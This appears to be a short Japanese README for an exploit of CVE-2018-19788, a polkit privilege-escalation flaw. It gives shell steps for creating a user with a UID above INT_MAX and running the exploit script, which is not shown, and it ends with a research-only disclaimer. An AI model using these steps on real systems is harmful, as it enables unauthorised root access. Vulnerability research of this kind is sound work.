
CVE-2018-19788 の簡単なエクスプロイト
これを使用するには、Policy Kit で UID が INT_MAX より大きいユーザーを作成するか、その UID を持つ低権限ユーザーが既に存在している必要があります。
UID は以下のようにユーザー作成時に指定でき、スクリプト実行前に使用します:
$ useradd -u 4000000001 PrivEsc
$ passwd PrivEsc
$ su PrivEsc
$ chmod +x /tmp/CVE-2018-19788_PrivEsc.sh
$ ./tmp/CVE-2018-19788_PrivEsc.sh
これはあくまで研究目的であり、このリポジトリまたは他の場所にあるコードの使用については、常識に従い各自の責任において行ってください。